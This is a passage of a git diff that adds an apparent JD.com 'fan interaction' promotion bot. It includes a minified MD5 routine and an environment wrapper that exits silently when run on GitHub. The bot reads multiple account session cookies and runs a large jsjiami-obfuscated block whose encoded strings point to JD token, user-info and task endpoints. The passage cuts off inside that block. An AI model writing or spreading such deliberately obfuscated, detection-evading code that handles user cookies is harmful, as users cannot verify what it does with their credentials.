-1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wxFansinter.js b/jd_wxFansinter.js new file mode 100755 index 0000000..4cf7df9 --- /dev/null +++ b/jd_wxFansinter.js @@ -0,0 +1,33 @@ +/* +粉丝互动 +https://lzkjdz-isv.isvjcloud.com/wxFansInterActionActivity/activity/xxx?activityId=xxx&adsource=tg_xuanFuTuBiao +7 7 7 7 7 rush_wxFansinter.js +wxFansInterActionActivity 活动id, 多活动 & 分开 +*/ +const $ = new Env("粉丝互动"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let activityTitleList = [ +]; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +if (process.env.wxFansInterActionActivity && process.env.wxFansInterActionActivity != "") { + activityTitleList = process.env.wxFansInterActionActivity.split('&'); +} +var _0xoda='jsjiami.com.v6',_0xoda_=['‮_0xoda'],_0x489e=[_0xoda,'b2tWRVU=','bHRiZU8=','cmV0Y29kZQ==','RVh0SlM=','WGRQdHc=','aGFzT3duUHJvcGVydHk=','VVF2c0M=','YmFzZUluZm8=','UWZidGU=','VUhGQ1Y=','WXhXSmU=','UHRqeWk=','bXJBVGU=','d3JidHg=','WE5ERnc=','cFJoa2Q=','Z0ZBSHE=','ZWFwUGo=','QnJ6TWc=','eG5oUXY=','SmVoaHU=','YWRBWFg=','aEdZcHc=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','emgtQ04semg7cT0wLjksZW4tVVM7cT0wLjgsZW47cT0wLjc=','Z3ppcCwgZGVmbGF0ZQ==','dGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksaW1hZ2UvYXZpZixpbWFnZS93ZWJwLGltYWdlL2FwbmcsKi8qO3E9MC44LGFwcGxpY2F0aW9uL3NpZ25lZC1leGNoYW5nZTt2PWIzO3E9MC45','Y29tLmppbmdkb25nLmFwcC5tYWxs','bm9uZQ==','bmF2aWdhdGU=','ZG9jdW1lbnQ=','ZmxkT3M=','bHlPWUY=','VHFwRXg=','Q25uekk=','Z2V0','ZW52','SkRfVVNFUl9BR0VOVA==','bEpMYVc=','cHFWUVo=','VVNFUl9BR0VOVA==','Z2V0ZGF0YQ==','WVJPdVg=','d05hTVc=','ZVhQdkc=','aU5MVUQ=','UmZvWm8=','emtiSEU=','TU94UkE=','THhjanM=','VXd5dkg=','RGZPZ1A=','YWZjamg=','bnBLY0M=','UFRIQ24=','ak55Rk0=','WkhWb0E=','eE9Gb1E=','eWFwUnE=','Y3pxU1U=','TW1GTXA=','bEdJcUU=','cHJubm8=','cmVwbGFjZQ==','RE1PWUI=','TXZvSHk=','WHBlb2w=','Wnl2T1A=','Q0p2Y2E=','Q0VPTGc=','U3hjb20=','T1J3R1I=','a3huVEE=','VG1BZks=','aWpoSng=','TE5Bek4=','Y29kZQ==','amZQUmE=','YlVlZm4=','T2p6WkY=','ak1JbUg=','SEpPeFY=','dGptV20=','Sk5qVWs=','RXBNRHM=','aUtJQms=','R3llSEo=','Zmx2SXM=','WnlZd3g=','Y0RZcHM=','YXBpLm0uamQuY29t','Ki8q','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','b1BFRmc=','b3JNTW0=','dkVScUY=','ck5IUG8=','UGNUc3U=','bVJlZVE=','SmZPd0M=','Ym9keT0lN0IlMjJ1cmwlMjIlM0ElMjAlMjJodHRwcyUzQS8vbHpkejEtaXN2LmlzdmpjbG91ZC5jb20lMjIlMkMlMjAlMjJpZCUyMiUzQSUyMCUyMiUyMiU3RCZ1dWlkPTcyMTI0MjY1MjE3ZDQ4Yjc5NTU3ODEwMjRkNjViYmM0JmNsaWVudD1hcHBsZSZjbGllbnRWZXJzaW9uPTkuNC4wJnN0PTE2MjE3OTY3MDIwMDAmc3Y9MTIwJnNpZ249MTRmN2ZhYTMxMzU2Yzc0ZTlmNDI4OTk3MmRiNGI5ODg=','V0hPTk0=','cWNxTGw=','Zk1OVEQ=','RHJJZm8=','dlFJbVQ=','dEJBTko=','R1BrclY=','SlZlcUQ=','VmNiUmE=','eVdYR1c=','TUxLYVM=','SXNqUWE=','YWlwcW4=','VHF6R2Y=','SkdPUXo=','Zmxvb3I=','Q1pKTm4=','QVpjeGQ=','V1VCTFk=','RFN0cGI=','Tlhhenk=','akdZR0w=','Z01yU28=','R3pNY2M=','UEluS2E=','U3FZam4=','V1NTUUk=','UGhTTlg=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','QVlDYWo=','Y01Jc2o=','cUxDVnk=','SWt4cno=','TkViYnY=','VWtJdFE=','cUF6bHE=','QmZiYXo=','eFVYVFc=','VWpYWnQ=','ZVVHbUU=','b1laV0Q=','c0VPWkg=','SGJyRWQ=','YU9GdlY=','cWFXQ1g=','Y3RNYU8=','dXhGaWU=','aGJQbU0=','ZFljQmk=','cWVySk0=','RWlMT3I=','ZGVyZlU=','WEpjeHY=','WkVGS0k=','dmhHRG0=','TmpEbFk=','Q2x6UEw=','ZmFneEw=','Ukdhd20=','QXNzbWQ=','WlVzUEE=','T2xzWnM=','ZG9TaGFyZVRhc2sgaXMgZG8=','aGVhZGVycw==','c2V0LWNvb2tpZQ==','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','Qnl1Tno=','aFZ0SFk=','CuW8gOi1t+a0u+WKqDog','VGRUQ2s=','dE5CRng=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','bXNn','bmFtZQ==','RVNvQ2s=','enRScUQ=','a1ZLd08=','bGVuZ3Ro','YkVlWWk=','T0NwRVo=','bVNQcVc=','bG9n','UEdOQ1Q=','YW9xemI=','VXNlck5hbWU=','ZldzSGg=','bWF0Y2g=','aW5kZXg=','aXNMb2dpbg==','bmlja05hbWU=','WmFBVlk=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','c0JMek4=','ekhvUFM=','aEpaQW4=','Q1Jzbm8=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','YmVhbg==','QURJRA==','cVVUekY=','TkNFdVA=','VVVJRA==','Q1FqVks=','d2ZpcGo=','YXV0aG9yTnVt','YWN0aXZpdHlJZA==','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vd3hGYW5zSW50ZXJBY3Rpb25BY3Rpdml0eS9hY3Rpdml0eS8=','Lz9hY3Rpdml0eUlkPQ==','JmFkc291cmNlPXRnX3h1YW5GdVR1QmlhbyZzaWQ9JnVuX2FyZWE9','Tk1hd3o=','d2FpdA==','V0VEZGE=','V3Vpeno=','c3BsaXQ=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','Y3VzdG9tZXIvZ2V0U2ltcGxlQWN0SW5mb1Zv','VlFuTGU=','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','YWN0aXZpdHlDb250ZW50','Zm9sbG93U2hvcA==','ZG9TaWdu','aW50ZXJhY3Rpb24vd3JpdGUvd3JpdGVQZXJzb25JbmZv','ZG9TaWduIGlzIGRv','ZnVJS3Y=','ZG9Ccm93R29vZHNUYXNr','c2t1SWQ=','ZG9Ccm93R29vZHNUYXNrIGlzIGRv','WGlqc1Y=','UWttS0w=','ZG9BZGRHb29kc1Rhc2s=','SlBKS1A=','VmdiWEM=','WlpqUlk=','cEd0TmQ=','ZG9BZGRHb29kc1Rhc2sgaXMgZG8=','ZG9TaGFyZVRhc2s=','UlpZd2c=','ZG9SZW1pbmRUYXNr','WmZ3V2Y=','UWtva2Y=','ZG9SZW1pbmRUYXNrIGlzIGRv','Q3JYdnU=','eWFPWks=','ZG9NZWV0aW5nVGFzaw==','ZG9NZWV0aW5nVGFzayBpcyBkbw==','c3RhcnREcmF3','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi35L+h5oGv','5rKh5pyJ5oiQ5Yqf6I635Y+W5Yiw55So5oi36Ym05p2D5L+h5oGv','dG9rZW4=','c2VjcmV0UGlu','b3BlbkNhcmRBY3Rpdml0eUlk','WVJ5cnY=','dElRQ0Q=','aU5wTW0=','YWN0aXZpdHlJZD0=','Wk9pZm0=','RlB5bFQ=','WEp4dHg=','UWlIYko=','cmFuZG9t','T0hmTVM=','WFdQWmQ=','d3VPeVc=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','S2N1Wkg=','dmVuZGVySWQ9','dmVuZGVySWQ=','JmNvZGU9','YWN0aXZpdHlUeXBl','JnBpbj0=','UEZrZkU=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPXRnX3h1YW5GdVR1Qmlhbw==','b1VBeEw=','YnhwaXk=','b2lZTEw=','VU91dnQ=','dXVpZD0=','dXVpZA==','dGFza0lkcw==','cUNQd0Y=','dGFzazFTaWdu','dXBMaW1pdA==','ZmluaXNoZWRDb3VudA==','Um1kSkQ=','ZVRHdFA=','QUtvU3A=','amRBY3Rpdml0eUlkPQ==','amRBY3Rpdml0eUlk','JmFjdGlvblR5cGU9NCZ2ZW5kZXJJZD0=','Q2dMZ0Q=','UFJHZUY=','dGFzazJCcm93R29vZHM=','dmJMWGs=','T0ZNbVk=','UGhRZUk=','JnNrdUlkPQ==','dGFza0dvb2RMaXN0','Y3BEYVI=','ZHRMTnU=','JmFjdGlvblR5cGU9NSZ2ZW5kZXJJZD0=','dmF1c1I=','TGhCSHg=','dGFzazNBZGRDYXJ0','aXFCS3E=','a2FGaHQ=','UWtaTU0=','RkJUREU=','RHRERWY=','eG5Leng=','b2pXWmM=','ZGJuc3k=','Um5RbnQ=','cEh6Tkw=','bWpOelU=','cFVjWWU=','a25LbXI=','WXlYR0k=','dGFzazRTaGFyZQ==','bEVUeVE=','R2RGT08=','S01CcEI=','bG9nRXJy','VHl5cGI=','dGFzazVSZW1pbmQ=','ZHpRYXQ=','YWZUZWU=','RlZsVkk=','YXZ1S3M=','dGFzazdNZWV0UGxhY2VWbw==','WmtkZFE=','RW5PcGI=','ZkxWT1Y=','VFFYY1I=','cFlxS3Q=','JnV1aWQ9','JmRyYXdUeXBlPTAx','S2FYak8=','JmRyYXdUeXBlPTAy','JmRyYXdUeXBlPTAz','ckpEcFU=','ZUdrUWI=','U2V0LUNvb2tpZQ==','a2J1Smk=','cUJRTW0=','c0ZWcmw=','eWtrTXM=','5YWz5rOo5bqX6ZO6IA==','Y0FCa2o=','UHpYUWo=','QnlmYUU=','bXVBTnk=','ek52UUQ=','b1l2SkQ=','SXJRblY=','RVJQQVY=','a1BtU1Q=','RXh2UWk=','ZkN5dEg=','ZkZZQ2I=','SnZES2c=','VWpEdmI=','Z3dJQm8=','aGdoenc=','bXFHZFo=','U3B3QnA=','aERBVlk=','cFBmSkY=','cG9zdA==','U2Jyams=','QUZDUG0=','R0hObXA=','cXNMVHo=','c0xLc2s=','VE5ndWg=','dWlBYlI=','cGFyc2U=','cmVzdWx0','UHNjQ3g=','T0JKV2c=','eVJSQ0k=','Q296TXY=','ZGF0YQ==','c2hvcElk','YWN0aXZpdHlTaG9wSWQ=','eG5BWnE=','YWN0SW5mbw==','YWN0TmFtZQ==','YWN0b3JJbmZv','dGFzazZHZXRDb3Vwb24=','Ymh4UVA=','QmlpeHY=','WXJYdXc=','Zm9sbG93','Rld6d2I=','RUx6RHE=','c3RyaW5naWZ5','V0pOUFE=','UUVhQm0=','cm1NaE0=','dXV0SGM=','TGpsWXo=','bHpramR6LWlzdi5pc3ZqY2xvdWQuY29t','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkOyBjaGFyc2V0PVVURi04','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb21t','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20v','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vd3hGYW5zSW50ZXJBY3Rpb25BY3Rpdml0eS8=','ZldGd1E=','QmZUemw=','dUxuTlM=','QndqTk8=','emJydlo=','SkRCbUw=','SkZ1TGY=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','SGNzRUM=','MTAwMQ==','dXNlckluZm8=','eWFibko=','emRvb3E=','VGJMeE4=','SFNCdEU=','a25BaU0=','S3JOeGQ=','eEZRWEY=','T3hkTnA=','d1RWY3o=','YklkWmg=','RWdEa2M=','dG1hbWw=','SkdYWkE=','cGZlTkE=','am1RcWw=','aWhWaGg=','ZHVIaUM=','Y3lnSEw=','YXdMQ0Y=','d0hFUm0=','VVJ2R3Q=','YUxsWEE=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20=','aHR0cHM6Ly9semtqZHotaXN2LmlzdmpjbG91ZC5jb20vY3VzdG9tZXIvZ2V0TXlQaW5n','U3Jxb0Y=','UmxsdE8=','UmZwVlU=','VktWcFo=','b09nU2I=','UGRpZEg=','UHpxSkY=','SE9XWkU=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUA==','ZWpTcmg=','TGpiZmE=','Y2JzZ2M=','ekpSdkw=','SVhScE0=','ZWhXVHA=','UkVvckU=','QVRjRWc=','QmNKcFE=','Y2JmYU0=','ck9NTGM=','aHFadm4=','Y0ZXcXE=','dFB1VVo=','TndSbFg=','WEJta1Q=','TVdQVk0=','V0tPWlg=','Y3JHSVI=','c0ZhSUY=','S1dpWk4=','TkVMY2g=','aXNOb2Rl','dGtNZ3A=','dHlJZEU=','Z0VqQ1k=','YmpsTmU=','RnhtSkw=','ZFhJRHA=','S0hMeEs=','RG5Pb0M=','TWtvQlA=','U0VYaXM=','Zk5KWEY=','enZOUkQ=','b1dsQUE=','anNZZkI=','ZGRSVlM=','UEZlenU=','SXdudnk=','b1NmdHo=','ZXJyb3JNZXNzYWdl','VHNvcVo=','aGdUVGs=','YVVBeVA=','5L2g5aW977ya','bmlja25hbWU=','cGlu','O0FVVEhfQ19VU0VSPQ==','Y3pwdlc=','SUxmWE4=','U3BFS0c=','Vk1uTG0=','ujsJjMFnhiaZmi.OMcKXLGoOm.vt6=='];if(function(_0x3babb8,_0x5ef1d7,_0x5d39de){function _0x49df52(_0x54f593,_0x16bd87,_0x54464b,_0x36cee6,_0x43e2cd,_0x38cda4){_0x16bd87=_0x16bd87>>0x8,_0x43e2cd='po';var _0x3c99c2='shift',_0xb75e5f='push',_0x38cda4='‮';if(_0x16bd87<_0x54f593){while(--_0x54f593){_0x36cee6=_0x3babb8[_0x3c99c2]();if(_0x16bd87===_0x54f593&&_0x38cda4==='‮'&&_0x38cda4['length']===0x1){_0x16bd87=_0x36cee6,_0x54464b=_0x3babb8[_0x43e2cd+'p']();}else if(_0x16bd87&&_0x54464b['replace'](/[uJMFnhZOMKXLGOt=]/g,'')===_0x16bd87){_0x3babb8[_0xb75e5f](_0x36cee6);}}_0x3babb8[_0xb75e5f](_0x3babb8[_0x3c99c2]());}return 0xf6e0f;};return _0x49df52(++_0x5ef1d7,_0x5d39de)>>_0x5ef1d7^_0x5d39de;}(_0x489e,0xaa,0xaa00),_0x489e){_0xoda_=_0x489e['length']^0xaa;};function _0x343b(_0x486ba1,_0x2450b6){_0x486ba1=~~'0x'['concat'](_0x486ba1['slice'](0x1));var _0x25228a=_0x489e[_0x486ba1];if(_0x343b['sLSmFe']===undefined&&'‮'['length']===0x1){(function(){var _0xf44be3=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x2387e6='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xf44be3['atob']||(_0xf44be3['atob']=function(_0x9eb1bb){var _0x3074d5=String(_0x9eb1bb)['replace'](/=+$/,'');for(var 